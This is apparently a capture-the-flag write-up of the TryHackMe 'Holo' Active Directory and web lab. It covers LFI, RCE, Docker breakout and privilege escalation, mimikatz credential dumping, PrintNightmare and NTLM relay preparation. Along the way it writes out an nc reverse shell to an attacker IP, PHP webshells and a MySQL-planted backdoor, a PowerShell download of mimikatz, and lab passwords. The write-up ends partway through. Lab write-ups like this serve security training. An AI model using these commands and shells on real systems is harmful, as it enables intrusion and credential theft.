Welcome to Holo!
Holo is an Active Directory and Web Application attack lab that teaches core web attack vectors and advanced\obscure Active Directory attacks along with general red teaming methodology and concepts.
In this lab, you will learn and explore the following topics:
- .NET basics
- Web application exploitation
- AV evasion
- Whitelist and container escapes
- Pivoting
- Operating with a C2 (Command and Control) Framework
- Post-Exploitation
- Situational Awareness
- Active Directory attacks
You will learn and exploit the following attacks and misconfigurations:
- Misconfigured sub-domains
- Local file Inclusion
- Remote code execution
- Docker containers
- SUID binaries
- Password resets
- Client-side filters
- AppLocker
- Vulnerable DLLs
- Net-NTLMv2 / SMB
Initial Recon
The trusted agent has informed us that the scope of the engagement is 10.200.x.0/24 and 192.168.100.0/24. To begin the assessment, we first do a basic port scan on the target scope.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
└─$ nmap -p- 10.200.111.0/24
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-07 07:49 EDT
Nmap scan report for 10.200.111.33
Host is up (0.060s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
33060/tcp open mysqlx
Nmap scan report for 10.200.111.250
Host is up (0.056s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
1337/tcp open waste
Let’s break that down in more detailed scans per machine.
Machine 10.200.111.33 - Potential Web Server
As we’ve just seen, the machine exposes the ports 22,80 and 33060. These are clear indications that this a web server.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
└─$ nmap -p 22,80,33060 -sC -sV 10.200.111.33
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-07 07:56 EDT
Nmap scan report for 10.200.111.33
Host is up (0.053s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 35:a1:ae:72:04:51:73:20:18:2d:7a:71:d9:49:a6:12 (RSA)
| 256 a9:6e:7e:6b:71:24:15:8f:65:ba:a3:0d:cc:8f:4d:3e (ECDSA)
|_ 256 41:1c:e5:6b:ba:15:a3:e7:22:79:b2:30:f8:5a:a3:e8 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-generator: WordPress 5.5.3
|_http-title: holo.live
| http-robots.txt: 21 disallowed entries (15 shown)
| /var/www/wordpress/index.php
| /var/www/wordpress/readme.html /var/www/wordpress/wp-activate.php
| /var/www/wordpress/wp-blog-header.php /var/www/wordpress/wp-config.php
| /var/www/wordpress/wp-content /var/www/wordpress/wp-includes
| /var/www/wordpress/wp-load.php /var/www/wordpress/wp-mail.php
| /var/www/wordpress/wp-signup.php /var/www/wordpress/xmlrpc.php
| /var/www/wordpress/license.txt /var/www/wordpress/upgrade
|_/var/www/wordpress/wp-admin /var/www/wordpress/wp-comments-post.php
33060/tcp open mysqlx?
| fingerprint-strings:
| DNSStatusRequestTCP, LDAPSearchReq, NotesRPC, SSLSessionReq, TLSSessionReq, X11Probe, afp:
| Invalid message"
|_ HY000
The nmap output confirms our initial guess. On port 22, we have an OpenSSH 8.2p1 Ubuntu
server running. Port 80
exposes a WordPress 5.5.3
instance and port 33060
seems to be some kind of mysql
service.
Machine 10.200.111.250
While the first machine gave us clear indications for its purpose, the situation with the 2nd machine 10.200.111.250
are not as clear yet.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(kali㉿kali)-[~/THM/rooms/holo]
└─$ nmap -p 22,1337 -sC -sV 10.200.111.250
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-07 08:00 EDT
Nmap scan report for 10.200.111.250
Host is up (0.054s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 f5:40:87:67:88:a9:a6:ea:9c:66:de:c0:c0:42:13:c5 (RSA)
| 256 c2:c7:20:b1:d7:fd:c3:65:d7:bc:77:96:c0:c0:7f:cf (ECDSA)
|_ 256 c9:84:a8:13:ed:c7:98:80:20:e6:f5:81:8a:c5:a5:2d (ED25519)
1337/tcp open http Node.js Express framework
|_http-title: Error
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
The nmap output gives us some more insight into the machine. On port 22
we a sligtly older version of SSH running, namely OpenSSH 7.6p1 Ubuntu
. Port 1337
exposes some kind of Node.js Express
application. We will have a look at that later.
Web App Exploitation - L-SRV01 (10.200.111.33)
Looking at the exposed Wordpress application via the Browser, we see the following:
Looking at the bottom left, we see that the browser tries to contact www.holo.live
for loading the included images. Knowing that, we can add the domain name to our /etc/hosts/
file and then reload the page using the correct domain: This gives us the following page:
At this point, we could proceed with the actual assessment of the web application running on L-SRV01
. But, there might be the possibility that there are even more vhosts/subdomains
. So before continuing, let’s do some more enumeration using gobuster vhost
. In order to do that we also have to add the domain holo.live
to our /etc/hosts
as this is the base name for the domain discovery.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──(kali㉿kali)-[~/THM/rooms/holo]
└─$ gobuster vhost -u holo.live -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://holo.live
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2022/06/07 08:18:35 Starting gobuster in VHOST enumeration mode
===============================================================
Found: dev.holo.live (Status: 200) [Size: 7515]
Found: admin.holo.live (Status: 200) [Size: 1845]
Found: www.holo.live (Status: 200) [Size: 21405]
As expected! There are more vhosts: dev.holo.live
and admin.holo.live
. Let’s add all of them to the /etc/hosts
file. It should now look similar to that (it’s also possible to add everything in one line but I prefer this for the sake of readability):
1
2
3
4
10.200.111.33 holo.live
10.200.111.33 www.holo.live
10.200.111.33 admin.holo.live
10.200.111.33 dev.holo.live
Fuzzing the Web Application
Now that we have a basic idea of the web server’s virtual host infrastructure, we can continue our asset discovery by brute-forcing directories and files. For that, we use the tool feroxbuster
.
We run the following command with all three domains:
1
feroxbuster -u http://DOMAIN.holo.live -w /usr/share/seclists/Discovery/Web-Content/common.txt -x php -s 200 -d 1
The -x
flag specifies that we are specifically looking for .php
files. The -s
flag determines which HTTP Response codes should be part of the output and finally the -d
flag tells feroxbuster to only go to a directory depth of max 1. The results of the directory scans can be seen here:
Most interesting for us, there are two robots.txt
files. Once at the www.holo.live
domain and another one at the admin.holo.live
domain. Let’s have a look at them.
Here, we see the robots.txt
file of www.holo.live
. Besides several Wordpress related files, we see nothing really interesting here.
And here’s the robots.txt
file of admin.holo.live
. This looks much more promising! There is an entry called var/www/admin/supersecretdir/creds.txt
.
However, when accessing this file, we get 403 - Forbidden
:
Exploitation - img.php
Looking back at the feroxbuster
output, we see that the dev.holo.live
domain has an img.php
file. This file is most likely responsible for loading/managing images. Thus, this endpoint must have some GET/POST parameters. This is however a common source for crucical mistakes such as non-sanitized user input being used for including files (allowing LFI/RFI).
For the parameter fuzzing process, we use the tool wfuzz
. But first, by investigating the source code of dev.holo.live
, we see an image being included with the path `images/hololive.png. We will use that image as validation-image.
Next, we start the fuzzer with the following command:
1
2
┌──(kali㉿kali)-[~/THM/rooms/holo]
└─$ wfuzz -w /usr/share/seclists/Discovery/Web-Content/api/objects.txt --hw 0 http://dev.holo.live/img.php?FUZZ=images/hololive.png
The ouput is pretty obvious: The parameter file
in combination with the provided image path returns something! This means, this parameter does exist! And now we can proceed with testing this parameter for vulnerabilities i.e. testing it for LFI and RFI.
As we are dealing with an Ubuntu machine, a common file to test for a possible inclusion (LFI) is the /etc/passwd
file. Providing this file as the file
parameter for the img.php
results in the following output:
The /etc/passwd
file is included in the server response! Amazing! We got a working LFI! Also, remember the credentials file located at /var/www/admin/supersecretdir/creds.txt
which was mentioned in the robots.txt
? We now have a way to access it!
There we go. We got the credentials admin:DBManagerLogin!
Exploitation - dashboard.php
Using these credentials for the admin.holo.live
login, we can see a fancy dashboard (dashboard.php).
Method 1
Sadly, the dashboard does not really reveal any functionality. But, this time we don’t have to guess anything. This time, we got full access to the code of the application due to the LFI! We can simply use the LFI to leak all source code. Unfortunately, we cannot directly leak .php
files as the code will be executed before it’s included in the server’s response. However, there is a nice trick using the php://
wrapper. This wrapper allows us to execute several things such as encodings like bas64 before the code is handled by the server.
The request using the php wrapper looks as follows:
1
http://dev.holo.live/img.php?file=php://filter/convert.base64-encode/resource=/var/www/admin/dashboard.php
And that’s the response:
Now, we take that base64 encoded response and decode it.
1
2
┌──(kali㉿kali)-[~/THM/rooms/holo]
└─$ echo "RESPONSE HERE" | base64 -d > dashboard.php
Looking through the code we can immediately spot a crucial vulnerability that leads to RCE!
Excerpt of the leaked dashboard.php file
1
<?php if ($_GET['cmd'] === NULL) { echo passthru("cat /tmp/Views.txt"); } else { echo passthru($_GET['cmd']);}?>
We can provide a GET parameter called cmd
which serves as input for the passthru()
function. The developer couldn’t have made it easier for us. It’s literally an invitation to hack the server.
Method 2
Without the LFI, we could have still discovered the RCE. But we would have needed some more luck at guessing.
The guess is, again, that the endpoint hides some GET/POST parameters that we have to discover. But all fuzzing attempts for LFI/RFI failed. That’s why we also tested for RCE. This time, instead of providing a path to a valid image, we included some basic command such as id
to see if we get any response. Also, as the dashboard requires a valid login, we have to provide an authenticated cookie to the fuzzer such that we are not always hitting the “redirect to login”-wall.
The command for fuzzing for RCE is the following:
1
2
┌──(kali㉿kali)-[~/THM/rooms/holo]
└─$ wfuzz -b PHPSESSID=619uib13epnc8a9aon4dr325ta -w /usr/share/seclists/Discovery/Web-Content/api/objects.txt --hw 1052 http://admin.holo.live/dashboard.php?FUZZ=id
The output is again very promising! We get some response with the parameter cmd
! This looks like we got RCE!
Here we see what we’ve previously confirmed by looking at the code: The viewers count is implemented using the passthru()
function. Thus, the views are replaced with the command output!
Method 3
The code is also available as a comment in the source code:
Once again, we see that enumeration is key to everything!
Initial Foothold
Great. So we found a way to execute code on the machine. Let’s use that to actually establish a fully interactive reverse shell. Therefore, we first have to check for existing helpful tools on the target machine. One of them would be e.g. nc
. Let’s check if the nc
binary exists:
Perfect. nc
is installed!
Now we start a nc listener on our attacker machine and simply include a nc
based reverse shell as the cmd
parameter.
The reverse shell code we used is the following:
1
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.50.108.41 4444 >/tmp/f
Once everything is executed, we have an established reverse shell as user www-data
:
Post Exploitation / Situational Awareness - Enumeration of the Web Server
After stabilizing the shell, we can start with the Post Exploitation enumeration i.e. finding ways for privilege escalation. The first thing to notice is that the hostname
is 14c75992b944
. This is a strong indiciation that we are not on the real L-SRV01
machine but in a docker container. To confirm that, we can have a look at the /proc/ANY PID/cgroup
:
On a standard Linux system it should be rather empty. On the container however, the file is filled with control group entries. So here we can definitely confirm that we are within a docker container!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
www-data@14c75992b944:/$ cat /proc/1/cgroup
12:pids:/docker/14c75992b944cb23c099906c7934d31cbd7de12c59c0d536e3966ed47dbe3613
11:hugetlb:/docker/14c75992b944cb23c099906c7934d31cbd7de12c59c0d536e3966ed47dbe3613
10:cpuset:/docker/14c75992b944cb23c099906c7934d31cbd7de12c59c0d536e3966ed47dbe3613
9:cpu,cpuacct:/docker/14c75992b944cb23c099906c7934d31cbd7de12c59c0d536e3966ed47dbe3613
8:blkio:/docker/14c75992b944cb23c099906c7934d31cbd7de12c59c0d536e3966ed47dbe3613
7:net_cls,net_prio:/docker/14c75992b944cb23c099906c7934d31cbd7de12c59c0d536e3966ed47dbe3613
6:rdma:/
5:perf_event:/docker/14c75992b944cb23c099906c7934d31cbd7de12c59c0d536e3966ed47dbe3613
4:memory:/docker/14c75992b944cb23c099906c7934d31cbd7de12c59c0d536e3966ed47dbe3613
3:devices:/docker/14c75992b944cb23c099906c7934d31cbd7de12c59c0d536e3966ed47dbe3613
2:freezer:/docker/14c75992b944cb23c099906c7934d31cbd7de12c59c0d536e3966ed47dbe3613
1:name=systemd:/docker/14c75992b944cb23c099906c7934d31cbd7de12c59c0d536e3966ed47dbe3613
0::/system.slice/containerd.service
Since we are in a container we probably also have a different internal IP address. We can verify that by running ifconfig
:
1
2
3
4
5
6
7
8
www-data@14c75992b944:/tmp/babbadeckl$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.100.100 netmask 255.255.255.0 broadcast 192.168.100.255
ether 02:42:c0:a8:64:64 txqueuelen 0 (Ethernet)
RX packets 536506 bytes 50426876 (50.4 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 506501 bytes 768981897 (768.9 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
Mhm. The current IP address is 192.168.100.100
. The gateway of the container can be determined with arp -a
. The gateway is located at 192.168.100.1
. Let’s see if we can somehow communicate with it.
1
2
www-data@14c75992b944:/tmp/babbadeckl$ arp -a
ip-192-168-100-1.eu-west-1.compute.internal (192.168.100.1) at 02:42:13:ae:e5:ea [ether] on eth0
For that, we first conduct a port scan to check for open ports on the gateway. In this case, we decided to go for a simple bash-based one-liner:
1
2
3
4
5
www-data@14c75992b944:/tmp/babbadeckl$ for i in {1..10000};do 2>/dev/null > /dev/tcp/192.168.100.1/$i && echo Port $i open;done
Port 22 open
Port 80 open
Port 3306 open
Port 8080 open
Here, we see that the gateway has 4 open ports:
- Port 22 - most likely SSH
- Port 80 and Port 8080 - most likely web servers
- Port 3306 - most likely an SQL server
That seems promising! If we can somehow find/figure out the database credentials, we might be able to leak information from the gateway database. So let’s search the container for configuration files that might include database credentials. If they exist, they are probably located in the /var/www
directory.
In the /var/www/wordpress/
directory, we find a file called wp-config.php
. This file contains database credentials. However, the DB_HOST
refers to localhost, which is not our target. So these are probably not our wanted credentials. We will still keep them in mind.
1
2
3
4
5
6
7
define( 'DB_NAME', 'wordpress' );
/** MySQL database username */
define( 'DB_USER', 'admin' );
/** MySQL database password */
define( 'DB_PASSWORD', 'DBManagerLogin!' );
/** MySQL hostname */
define( 'DB_HOST', '127.0.0.1' );
Next, in the /var/www/admin
directory, there is a file called db_connect.php
. This file contains exactly what we were looking for! Database credentials for the DB_SRB
192.168.100.1
!
1
2
3
4
define('DB_SRV', '192.168.100.1');
define('DB_PASSWD', "!123SecureAdminDashboard321!");
define('DB_USER', 'admin');
define('DB_NAME', 'DashboardDB');
SQL Server on Gateway
We can now use the obtained credentials to connect to the SQL server on 192.168.100.1 (Gateway) - Port 3306. To do so, we use the command:
1
2
mysql -h 192.168.100.1 -u admin -p
Enter password: !123SecureAdminDashboard321!
This gives us full access to the database! We can now search for sensitive data. Most interesting for us would be some credentials that can then be used for SSH access to the gateway. Let’s see if we can find something that might help us.
Here, we can identify a user called gurag
. Hmm…
Docker Breakout
Maybe we can use something else. Let’s have a look at the privileges of our current MySQL user admin
:
If we look that up the privileges of MySQL in the official MySQL documentation, we see that the FILE
permission allows us to access and thus also to write/alter files on the server host. This is perfect, as the server is also running a web server which is exposed either via port 80 or port 8080. This means, we can create a legit backdoor via MySQL that we can then access via the web server.
1
2
mysql> select '<?php $cmd=$_GET["babb"];system($cmd);?>' INTO OUTFILE '/var/www/html/shell_babbadeckl.php';
Query OK, 1 row affected (0.00 sec)
Now we can simply use that backdoor as follows:
1
2
www-data@db3559360d5b:/tmp$ curl http://192.168.100.1:8080/shell_babbadeckl.php?babb=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
So let’s establish a reverse shell. Therefore, as seen in the screenshot below, we first create a reverse shell payload. Then, we host this payload in a file on an HTTP server. Afterwards, we use the backdoor to upload the reverse shell code onto the DB/Web Server. Finally, we execute the code and catch the reverse shell on our local attacker machine:
Perfect! We have access to the web server 10.200.111.33
aka L-SRV01
as www-data
.
Privilege Escalation
Let’s continue with some basic enumeration of the server. This includes, getting the server OS, architecture, kernel version, SUID binaries, capabilities etc. Obviously, we could use something like linpeas
for that, but for the sake of practice, we will do it manually.
When running the command for SUID binary discovery, we find something very interesting. The docker
binary has the SUID bit set! This means we can use that binary for privilege escalation.
1
2
3
4
5
6
7
find / -perm -u=s 2>/dev/null
...
/usr/bin/umount
/usr/bin/docker <---- BINGO
/usr/bin/fusermount
...
If you are not familiar with privilege escalation using docker
, here is a guide. Otherwise, we can just check for existing images using:
1
2
3
4
5
6
7
8
www-data@ip-10-200-111-33:/var/www$ docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
<none> <none> cb1b741122e8 16 months ago 995MB
<none> <none> b711fc810515 17 months ago 993MB
<none> <none> 591bb8cd4ef6 17 months ago 993MB
<none> <none> 88d15ba62bf4 17 months ago 993MB
ubuntu 18.04 56def654ec22 20 months ago 63.2MB
Then, we simply take one of those existing images and mount the root directory /
of the current machine to the /mnt
directory of the docker container we are about to start. This can be done using the following command:
1
www-data@ip-10-200-111-33:/var/www$ /usr/bin/docker run -v /:/mnt --rm -it cb1b741122e8 chroot /mnt sh
Now we can access the host’s filesystem via the mounted directory on the container:
Post Exploitation
Now that we have root access to the system, we can look through the filesystem and gather useful information which might help us to gain persistent access to the system.
Useful information could be e.g. SSH Keys
or User credentials
. As we cannot find any ssh keys, we could either create some as a backdoor or we can proceed looking for the password hashes in the /etc/shadow
file. Here, we will do the latter.
In the /etc/shadow
file, we find 3 password hashes for the users root
, ubuntu
and linux-admin
. Let’s try to crack them locally.
Hashcat - Password Cracking
Since we got the hashes of all existing users on the L-SRV01
machine, we can proceed with attempting to crack them. Therefore, we use the tool hashcat
on our local machine:
1
2
┌──(kali㉿kali)-[~/THM/rooms/holo]
└─$ hashcat -m 1800 lsrv01_linux_admin_hash /usr/share/wordlists/rockyou.txt
After an hour of cracking, we finally got the password!!
Pivoting & Enumeration
For pivoting into the internal network, we use sshuttle
. This is fairly easy to use. But, this only works via SSH. So most likely won’t work on windows machines. There we’d to use chisel
.
The following command creates the connection to the internal network which behaves similar to a VPN connection:
1
2
3
4
5
6
7
┌──(kali㉿kali)-[~/THM/rooms/holo]
└─$ sshuttle -r linux-admin@10.200.111.33 10.200.111.0/24
[local sudo] Password:
linux-admin@10.200.111.33's password:
c : Connected to server.
Failed to flush caches: Unit dbus-org.freedesktop.resolve1.service not found.
fw: Received non-zero return code 1 when flushing DNS resolver cache.
Unfortunately, sshuttle
is only able to tunnel TCP packets, thus for host discovery (ICMP packets) we have to execute the following code on the L-SRV01
machine:
1
2
3
4
5
6
7
8
for i in {1..254} ;do (ping -c 1 10.200.111.$i | grep "bytes from" | awk '{print $4}' | cut -d ":" -f 1 &) ;done
10.200.111.1
10.200.111.30
10.200.111.33
10.200.111.31
10.200.111.35
10.200.111.250
This gives us a list of all reachable machines from within the internal network. Next, we scan for open ports on these machines. Again we use a bash one-liner which is executed on the L-SRV01
machine:
1
for ip in 30 31 35; do echo "10.200.111.$ip:"; for i in {1..15000}; do echo 2>/dev/null > /dev/tcp/10.200.111.$ip/$i && echo "$i open"; done; echo " ";done;
We see, all of the three machines (.30
,.31
and .35
) do have various open ports. Machine .30
seems to be a bit more powerful than the rest, so the assumption here is that this is the running domain controller (has DNS and Kerberos ports open). The other two machines seem to be standard windows machines. So let’s first investigate the .31
machine.
Web App Exploitation - 10.200.111.31 (S-SRV01)
Getting access
Looking at the web application of the .31
machine, we see something similar to what we have seen before: a login page for holo.live.
However, this time, we also have a password reset functionality, which only requires a username
. As we are in posession of several usernames, we can try to bruteforce for an existing username on this website. Eventually, we suceeded using the username gurag
, which was the username we found in the MySQL database.
When we intercept the request of resetting the password, we spot something very interesting! The request to the password_reset.php
endpoint requires a user_token
GET parameter to fully reset the password. If we do not provide it, it just drops the message An email has been sent to the mail associated with your username
. But, in this response, there is also a valid user_token
cookie, which is probably meant to be for the user when he/she clicks on the link in the mail to reset the password. What happens if we use this user_token
in our malicious password reset?
Well … We get redirected to the password reset page reset.php
. Woooops.
Now we can reset the password of the user gurag
and then use the credentials to log in.
Homepage
Finally, when we use these credentials, we see the home page of the web application. It seems to be some kind of image upload page.
When we click the button, we are redirected to img_upload.php
. This is where we can then upload images to the website.
Now the question is: what does it do? How does it work? Which file-extensions does it accept? To answer these questions, let’s first behave like a regular user. This means, we try to upload a valid image file - in this case a .png
- and then we observe the behaviour of the system.
When we upload a file called test.png
, we get the message: The file test.png has been uploaded.
. Great. So we know we can upload .png
files. But where to? There must be an uploads directory somewhere. Let’s use feroxbuster
to reveal that directory.
The uploads directory is called Images
! Looking at this directory, we even see that directory listing is enabled. And we can see our uploaded file. If we click on it, it gets displayed in the browser. Perfect!
Now let’s see what happens if we try to upload .php
code. If that works, we immediately have RCE. We select our test.php
file, which contains <?php echo "WORKS!!!"; ?>
and press the upload button. And again… we get the message The file test.php has been uploaded
. Cool! That was strangely simple. Maybe I’ve missed something, but let’s continue for now.
Looking at the upload directory, we can also see the file. And if we click on it, it displays a website with a single word on it: WORKS!!!
.
Now let’s try a web shell. This time we include the code <?php echo system('$_GET["cmd"]'); ?>
. This will provide us with the possibility to execute commands via the URL. However, when uploading and executing this, we get an error message:
So what is going on? My guess is that there is some kind of Antivirus (AV) software that detects our shell and thus prevents the execution.
AV Evasion
To understand how to bypass AV’s let’s first have a look at the the AV’s and the various techniques.
Anti Malware Scan Interface (AMSI)
“The Anti-Malware Scan Interface (AMSI) is a PowerShell security feature that will allow any applications or services to integrate into antimalware products. AMSI will scan payloads and scripts before execution inside of the runtime. From Microsoft, “The Windows Antimalware Scan Interface (AMSI) is a versatile interface standard that allows your applications and services to integrate with any antimalware product that’s present on a machine. AMSI provides enhanced malware protection for your end-users and their data, applications, and workloads.” https://tryhackme.com/room/hololive. For further references: https://docs.microsoft.com/en-us/windows/win32/amsi/antimalware-scan-interface-portal
For more information about the variety of bypasses available, check out this GitHub repo. Such kind of AMSI bypass was also expected from the THM room.
However, in my opinion this was a bit of an overkill. Nice to practice AMSI bypasses but something like that also works:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?>
</pre>
</body>
</html>
Post Exploitation
First, we use the uploaded webshell to enumerate the system. During that process, we discover that we are dealing with an x64 based windows system. Further, we have nt authority\system
access. This means, we can dump passwords from the memory/cache. Therefore, we upload a 64-bit mimikatz.exe
binary.
1
powershell.exe Invoke-WebRequest http://10.50.108.41/mimikatz.exe -outfile mimikatz.exe
We can use mimikatz
as follows:
1
.\mimikatz.exe "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" exit
This dumps all hashes and passwords from users that are currently logged in. Here, we see a user called watamet
and his/her plaintext password: watamet:Nothingtoworry!
(NTLMhash: d8d41e6cf762a8c77776a1843d4141c9
)
We can now use these credentials to further enumerate the internal network.
Enumeration
As we are now in posession of new credentials that are valid in the AD domain HOLOLIVE
, we can try to log in to other machines. First, we use crackmapexec
to search for existing SMB servers in the internal network.
The output gives us information about the existence of several SMB servers. One of them is the 10.200.111.35
machine which is named PC-FILESRV01
. Also, crackmapexec
shows that the credentials can be used to access the SMB shares. Next, we manually check out the existing shares of the PC-FILESRV01
using the obtained credentials. Here we see some interesting shares. Let’s check out the Users
share.
Using the following command, we connect to the Users
share:
1
2
┌──(kali㉿kali)-[~/THM/rooms/holo]
└─$ smbclient //10.200.111.35/Users -U HOLOLIVE/watamet
Here, we find one of the user.txt files. Besides that no other interesting files were discovered. However, we get the information, that user watamet
is not only given access to the SMB shares but is also a legitimate user on the system. So let’s connect to the system via RDP.
Situational Awareness
Now that we have access to the system, we again have to first understand the system that we are working with. For that, we can use the tool Seatbelt
. This tool basically does all the enumeration for us, giving us tons of information to work with.
The Github repository for Seatbelt can be found here. For whatever reason, the authors however do not provide pre-compiled binaries. So we either do that manually by installing a C# environment on our machine (which I - as a non C# developer - would consider as a complete overkill) or we simply use the pre-compiled binaries of another user (thanks to r3motecontrol
who provides all pre-compiled versions on Github)
Once we have transferred the pre-compiled binary to the target machine .35
, we can run it with the following command:
1
.\Seatbealt.exe -group=system
The output is an insane amount of information. Probably too large to put it in this writeup. However, we gets lots of information about installed AV software, about Anti Malware software, about the network structure, about users, about privileges etc…
To break all that information down, we additionally gonna use PowerView.ps1
. Powerview is an amazing powershell script that comes with various functions which immensely help with the enumeration of Active Directory. To import PowerView.ps1
, we first have to transfer the script to the target machine. Then, we open Powershell and run the command Import-Module .\PowerView.ps1
. After that we have access to all the functions provided by PowerView
. Here are the most important commands:
1
2
3
4
5
6
7
8
9
10
# enumerate/list all groups present on a local machine/computer
Get-NetLocalGroup
# enumerate/list all members of a local group such as users, computers, or service accounts
Get-NetLocalGroupMember
# enumerate/list all users currently logged onto the local machine/computer
Get-NetLoggedon
# enumerate/list the active directory domain GPOs installed on the local machine
Get-DomainGPO
# check all hosts connected to the domain and check if the current user or listed user is a local administrator
Find-LocalAdminAccess
Also Powershell itself provides many useful commands that we can utilize for the enumeration of the local system.
1
2
3
4
5
6
7
8
9
10
11
12
# list/enumerate all the scheduled tasks present on the system
Get-ScheduledTask
# list/enumerate all the scheduled tasks present on the system which are located in the Users directory
Get-ScheduledTask -TaskPath "\Users\*"
# list specific information on specified Tasks allowing the attacker to identify the task and how it could be exploited
Get-ScheduledTaskInfo -TaskName <Full Path>
# enumerate a user's groups or all groups within the domain. If it throws an error, you need to run the upcoming command
Import-Module ActiveDirectory; Get-ADGroup
# only possible in elevated powershell window - enables the ActiveDirectory module
Add-WindowsFeature RSAT-AD-PowerShell
# etrieve the groups a user, computer group, or service account is a member of (also only works with the ActiveDirectory module)
Get-ADPrincipalGroupMembership
Privilege Escalation
Finally, it’s time for privilege escalation. During the enumeration phase, we have gathered a lot of information that can now be used to elevate our privileges! According to the task description we should have found a scheduled task named kavremover.exe
. However, it appears that the machine is broken. Even a network reset does not fix the problem. Luckily, the last patch for the machine was installed on 11/11/2020
. This means, it most likely vulnerable to the famous PrintNightmare
exploit that was published in 2021.
There are tons of available working exploits out there. My favourite one is this one here by calebstewart
. It’s a simple PowerShell shell that provides the Invoke-Nightmare
function to create a new admin user. The steps and the result can be seen below:
We can now use this new user to log in via RDP.
There we go! We got administrator access to the PC-FILESRV01
machine!
NTLM Relay
Background Information - NTLM and NTLM authentication
Let’s quickly recap what NTLM is. If not stated otherwise, the following definitons and authentication protocol steps are taken from the official(https://docs.microsoft.com/en-us/windows/win32/secauthn/microsoft-ntlm?redirectedfrom=MSDN).
Windows Challenge/Response (NTLM) is the authentication protocol used on networks that include systems running the Windows operating system and on stand-alone systems. NTLM credentials are based on data obtained during the interactive logon process and consist of a domain name, a user name, and a one-way hash of the user’s password. NTLM uses an encrypted challenge/response protocol to authenticate a user without sending the user’s password over the wire. Instead, the system requesting authentication must perform a calculation that proves it has access to the secured NTLM credentials.
“Net-NTLMv1 is a challenge/response protocol that uses NTHash. This version will use both NT and LM hashes. You can find the algorithm used to hash below.” . Source: https://tryhackme.com/room/hololive
1
C = 8-byte server challenge, random K1 | K2 | K3 = LM/NT-hash | 5-bytes-0 response = DES(K1,C) | DES(K2,C) | DES(K3,C)
“Net-NTLMv2 is an updated version of Net-NTLMv1. This hash protocol will use the same processes as v1 but will use a different algorithm and response. This version is the default since Windows 2000.” Source: https://tryhackme.com/room/hololive
1
SC = 8-byte server challenge, random CC = 8-byte client challenge, random CC* = (X, time, CC2, domain name) v2-Hash = HMAC-MD5(NT-Hash, user name, domain name) LMv2 = HMAC-MD5(v2-Hash, SC, CC) NTv2 = HMAC-MD5(v2-Hash, SC, CC*) response = LMv2 | CC | NTv2 | CC*
The following steps present an outline of NTLM noninteractive authentication:
- The first step provides the user’s NTLM credentials and occurs only as part of the interactive authentication (logon) process. (Interactive authentication only) A user accesses a client computer and provides a domain name, user name, and password. The client computes a cryptographic hash of the password and discards the actual password.
- The client sends the user name to the server (in plaintext).
- The server generates a 8-byte random number, called a challenge or nonce, and sends it to the client.
- The client encrypts this challenge with the hash of the user’s password and returns the result to the server. This is called the response.
- The server sends the following three items to the domain controller:
- User name
- Challenge sent to the client
- Response received from the client
- The domain controller uses the user name to retrieve the hash of the user’s password from the Security Account Manager database. It uses this password hash to encrypt the challenge.
- The domain controller compares the encrypted challenge it computed (in step 6) to the response computed by the client (in step 4). If they are identical, authentication is successful.
Select a target
During our enumeration we discovered several machines. The only machines remaining are 10.200.111.30
(the potential DC) and the 10.200.111.32
machine. Let’s see if we can access their SMB shares.
Here we can clearly see that the latter machine refuses the SMB connection. So we’ve determined our target: 10.200.111.30
.
Exploitation - NTLMRelay
To begin configuring the server for the exploit, we will need to start turning off SMB services and restart the server. Find an outline of the steps taken below.
Begin by disabling NetLogon.
1
sc stop netlogon
Next, we need to disable and stop the SMB server from starting at boot. We can do this by disabling LanManServer and modifying the configuration.
1
2
sc stop lanmanserver
sc config lanmanserver start= disabled
To entirely stop SMB, we will also need to disable LanManServer and modify its configuration.
1
2
sc stop lanmanworkstation
sc config lanmanworkstation start= disabled
Finally, we restart the machine.
1
shutdown -r
Once the machine is online again, we use RDP to log in to the machine. Now we have to set up a port forwarding from port 445 to our attacker machine on port 445. This can be done in multiple ways. Here, in this Holo network, it was recommended to use metasploit. As I’ve previously always used socat
, I went for metasploit this time.
Therefore, we first have to get a meterpreter shell. For that, we create a reverse shell payload using msfvenom
:
1
2
